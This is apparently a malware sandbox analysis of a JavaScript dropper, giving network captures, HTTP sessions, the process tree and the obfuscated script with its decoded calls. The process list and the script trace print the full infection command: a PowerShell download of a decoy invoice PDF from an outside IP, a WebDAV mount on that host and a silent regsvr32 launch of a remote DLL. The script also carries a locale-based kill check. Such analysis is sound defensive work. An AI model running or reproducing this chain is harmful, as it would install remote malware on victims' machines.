Jan 11, 2025 05:39:41.025223970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:41.025237083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:41.025244951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:41.025248051 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:41.025295973 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:41.025321960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:41.025335073 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:41.025346994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:41.025357962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:41.025368929 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:41.025388002 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:41.025388956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:41.025403023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:41.025413036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:41.025420904 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:41.025448084 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:41.025455952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:41.025518894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:41.025528908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:41.025542021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:41.025553942 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:41.025576115 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:41.025660038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:41.025672913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:41.025710106 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:41.173628092 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:41.341454029 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:41.832488060 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:41.837393999 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:41.837502003 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:41.838042021 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:41.842886925 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:42.646775007 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:42.696721077 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:42.964087009 CET	49700	8888	192.168.2.7	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:39:50.269471884 CET	62990	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 05:39:50.269471884 CET	192.168.2.7	1.1.1.1	0x82c5	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 05:39:50.276915073 CET	1.1.1.1	192.168.2.7	0x82c5	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:39:51.121393919 CET	1.1.1.1	192.168.2.7	0xef4b	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:39:51.121393919 CET	1.1.1.1	192.168.2.7	0xef4b	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	193.143.1.205	80	644	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:39:39.517452002 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 05:39:40.281986952 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:39:40 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 05:39:40.282012939 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 05:39:40.282022953 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 05:39:40.282035112 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 05:39:40.282083035 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 05:39:40.282094955 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 05:39:40.282104969 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 05:39:40.282115936 CET	328	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 11, 2025 05:39:40.282128096 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 11, 2025 05:39:40.282219887 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 11, 2025 05:39:40.287082911 CET	1236	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49700	193.143.1.205	8888	7448	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:39:41.838042021 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 05:39:42.646775007 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:39:42 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	23:39:36
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20314304422672320911.js"
Imagebase:	0x7ff62d180000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:39:36
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll
Imagebase:	0x7ff74b050000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:39:36
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:39:36
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	23:39:40
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	23:39:40
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff74b050000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	23:39:40
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7fea80000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	23:39:41
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	23:39:41
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	23:39:42
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1760,i,3337423066596342454,6841710697410949733,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function dqidyi() {	dqidyi() ➔ undefined
1	vprltzjto = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var tqrfe = this[rhsdrikd + fituh + okeal + kylfyii + eqwqlwf + aoccg + ejsufkx + dyyquh] ( this[joaimpn + hqozr + rnqpcnkt + okeal + xmcxcjrhj + rhsdrikd + dyyquh][xksxgosg + okeal + eqwqlwf + fituh + dyyquh + eqwqlwf + nxoczij + bgrull + ldfegxgum + eqwqlwf + rnqpcnkt + dyyquh] ( joaimpn + hqozr + rnqpcnkt + okeal + xmcxcjrhj + rhsdrikd + dyyquh + xwhhttey + hqozr + tlmljryt + eqwqlwf + iaxtqcmjr + iaxtqcmjr ) [cbntao + eqwqlwf + iiyyulor + cbntao + eqwqlwf + fituh + gbphb] ( voaytoa + nyqnmtgzx + mxhyw + gzgvea + vglbsqwrz + xksxgosg + swoioj + cbntao + cbntao + mxhyw + lsygs + inpilqw + vglbsqwrz + swoioj + hqozr + mxhyw + cbntao + idlckqosm + xksxgosg + wijyjqb + ejsufkx + dyyquh + okeal + wijyjqb + iaxtqcmjr + mggmjc + zvbtyp + fituh + ejsufkx + eqwqlwf + iaxtqcmjr + idlckqosm + aoccg + ejsufkx + dyyquh + eqwqlwf + okeal + ejsufkx + fituh + dyyquh + xmcxcjrhj + wijyjqb + ejsufkx + fituh + iaxtqcmjr + idlckqosm + eublz + wijyjqb + rnqpcnkt + fituh + iaxtqcmjr + eqwqlwf ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( jkuvvuz = 0 ; jkuvvuz < vprltzjto[iaxtqcmjr + eqwqlwf + ejsufkx + iiyyulor + dyyquh + tlmljryt] ; ++ jkuvvuz )
4	{
5	if ( tqrfe == vprltzjto[jkuvvuz] )
6	{
7	tqrfe = true;
8	break ;
9	}
10	}
11	if ( tqrfe !== true )
12	this[joaimpn + hqozr + rnqpcnkt + okeal + xmcxcjrhj + rhsdrikd + dyyquh][ukgowfpq + hbxokfp + xmcxcjrhj + dyyquh] ( );
13	this[joaimpn + hqozr + rnqpcnkt + okeal + xmcxcjrhj + rhsdrikd + dyyquh][xksxgosg + okeal + eqwqlwf + fituh + dyyquh + eqwqlwf + nxoczij + bgrull + ldfegxgum + eqwqlwf + rnqpcnkt + dyyquh] ( joaimpn + hqozr + rnqpcnkt + okeal + xmcxcjrhj + rhsdrikd + dyyquh + xwhhttey + hqozr + tlmljryt + eqwqlwf + iaxtqcmjr + iaxtqcmjr ) [okeal + hbxokfp + ejsufkx] ( rnqpcnkt + eatfztk + gbphb + mggmjc + jbbbwxlcr + rnqpcnkt + mggmjc + rhsdrikd + wijyjqb + izvdzhknd + eqwqlwf + okeal + kylfyii + tlmljryt + eqwqlwf + iaxtqcmjr + iaxtqcmjr + xwhhttey + eqwqlwf + qdzwkqc + eqwqlwf + mggmjc + qpynprkz + xksxgosg + wijyjqb + eatfztk + eatfztk + fituh + ejsufkx + gbphb + mggmjc + kxcsv + aoccg + ejsufkx + travzfiay + wijyjqb + vwwclxaq + eqwqlwf + qpynprkz + joaimpn + eqwqlwf + bgrull + cbntao + eqwqlwf + upndq + hbxokfp + eqwqlwf + kylfyii + dyyquh + mggmjc + qpynprkz + nxoczij + hbxokfp + dyyquh + lqpqsmd + xmcxcjrhj + iaxtqcmjr + eqwqlwf + mggmjc + udjhaxg + dyyquh + eqwqlwf + eatfztk + rhsdrikd + udjhaxg + idlckqosm + xmcxcjrhj + ejsufkx + travzfiay + wijyjqb + xmcxcjrhj + rnqpcnkt + eqwqlwf + xwhhttey + rhsdrikd + gbphb + hxfrvhb + mggmjc + tlmljryt + dyyquh + dyyquh + rhsdrikd + nqlgbqpn + jbbbwxlcr + jbbbwxlcr + hsrxx + pwgckoj + hvfcbxag + xwhhttey + hsrxx + qajkfhk + hvfcbxag + xwhhttey + hsrxx + xwhhttey + fdbkdw + rdhrdo + ybbcgl + jbbbwxlcr + xmcxcjrhj + ejsufkx + travzfiay + wijyjqb + xmcxcjrhj + rnqpcnkt + eqwqlwf + xwhhttey + rhsdrikd + tlmljryt + rhsdrikd + kxcsv + snivejqlc + snivejqlc + kylfyii + dyyquh + fituh + okeal + dyyquh + mggmjc + udjhaxg + dyyquh + eqwqlwf + eatfztk + rhsdrikd + udjhaxg + idlckqosm + xmcxcjrhj + ejsufkx + travzfiay + wijyjqb + xmcxcjrhj + rnqpcnkt + eqwqlwf + xwhhttey + rhsdrikd + gbphb + hxfrvhb + snivejqlc + snivejqlc + rnqpcnkt + eatfztk + gbphb + mggmjc + jbbbwxlcr + rnqpcnkt + mggmjc + ejsufkx + eqwqlwf + dyyquh + mggmjc + hbxokfp + kylfyii + eqwqlwf + mggmjc + idlckqosm + idlckqosm + hsrxx + pwgckoj + hvfcbxag + xwhhttey + hsrxx + qajkfhk + hvfcbxag + xwhhttey + hsrxx + xwhhttey + fdbkdw + rdhrdo + ybbcgl + zlwbct + hrdwix + hrdwix + hrdwix + hrdwix + idlckqosm + gbphb + fituh + travzfiay + izvdzhknd + izvdzhknd + izvdzhknd + okeal + wijyjqb + wijyjqb + dyyquh + idlckqosm + snivejqlc + snivejqlc + rnqpcnkt + eatfztk + gbphb + mggmjc + jbbbwxlcr + rnqpcnkt + mggmjc + okeal + eqwqlwf + iiyyulor + kylfyii + travzfiay + okeal + hvfcbxag + fdbkdw + mggmjc + jbbbwxlcr + kylfyii + mggmjc + idlckqosm + idlckqosm + hsrxx + pwgckoj + hvfcbxag + xwhhttey + hsrxx + qajkfhk + hvfcbxag + xwhhttey + hsrxx + xwhhttey + fdbkdw + rdhrdo + ybbcgl + zlwbct + hrdwix + hrdwix + hrdwix + hrdwix + idlckqosm + gbphb + fituh + travzfiay + izvdzhknd + izvdzhknd + izvdzhknd + okeal + wijyjqb + wijyjqb + dyyquh + idlckqosm + hsrxx + ybbcgl + qajkfhk + wlaafyup + hrdwix + fwirbwg + fwirbwg + hsrxx + wlaafyup + hsrxx + hsrxx + fwirbwg + fwirbwg + fwirbwg + xwhhttey + gbphb + iaxtqcmjr + iaxtqcmjr, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll",0,false) ➔ 0
14	}
15	inpilqw = "j";
16	inpilqw = "P";
17	inpilqw = "y";
18	inpilqw = "n";
19	inpilqw = "C";
20	inpilqw = "u";
21	inpilqw = "S";
22	inpilqw = "B";
23	inpilqw = "F";
24	inpilqw = "K";
25	inpilqw = "L";
26	inpilqw = "Y";
27	inpilqw = "a";
28	inpilqw = "l";
29	inpilqw = "v";
30	inpilqw = "B";
31	inpilqw = "j";
32	inpilqw = "r";
33	inpilqw = "v";
34	inpilqw = "p";
35	inpilqw = "G";
36	inpilqw = "T";
37	eublz = "L";
38	eublz = "a";
39	eublz = "L";
40	joaimpn = "U";
41	joaimpn = "F";
42	joaimpn = "k";
43	joaimpn = "l";
44	joaimpn = "N";
45	joaimpn = "W";
46	voaytoa = "j";
47	voaytoa = "H";
48	voaytoa = "B";
49	voaytoa = "h";
50	voaytoa = "Z";
51	voaytoa = "O";
52	voaytoa = "w";
53	voaytoa = "o";
54	voaytoa = "v";
55	voaytoa = "E";
56	voaytoa = "X";
57	voaytoa = "u";
58	voaytoa = "N";
59	voaytoa = "u";
60	voaytoa = "O";
61	voaytoa = "w";
62	voaytoa = "i";
63	voaytoa = "C";
64	voaytoa = "o";
65	voaytoa = "S";
66	voaytoa = "i";
67	voaytoa = "K";
68	voaytoa = "Y";
69	voaytoa = "F";
70	voaytoa = "N";
71	voaytoa = "g";
72	voaytoa = "P";
73	voaytoa = "H";
74	kylfyii = "g";
75	kylfyii = "z";
76	kylfyii = "m";
77	kylfyii = "t";
78	kylfyii = "C";
79	kylfyii = "l";
80	kylfyii = "s";
81	vwwclxaq = "b";
82	vwwclxaq = "E";
83	vwwclxaq = "u";
84	vwwclxaq = "O";
85	vwwclxaq = "o";
86	vwwclxaq = "e";
87	vwwclxaq = "Y";
88	vwwclxaq = "z";
89	vwwclxaq = "B";
90	vwwclxaq = "z";
91	vwwclxaq = "r";
92	vwwclxaq = "A";
93	vwwclxaq = "H";
94	vwwclxaq = "o";
95	vwwclxaq = "K";
96	vwwclxaq = "N";
97	vwwclxaq = "Z";
98	vwwclxaq = "p";
99	vwwclxaq = "a";
100	vwwclxaq = "v";
101	vwwclxaq = "N";
102	vwwclxaq = "P";
103	vwwclxaq = "J";
104	vwwclxaq = "q";
105	vwwclxaq = "t";
106	vwwclxaq = "x";
107	vwwclxaq = "r";
108	vwwclxaq = "n";
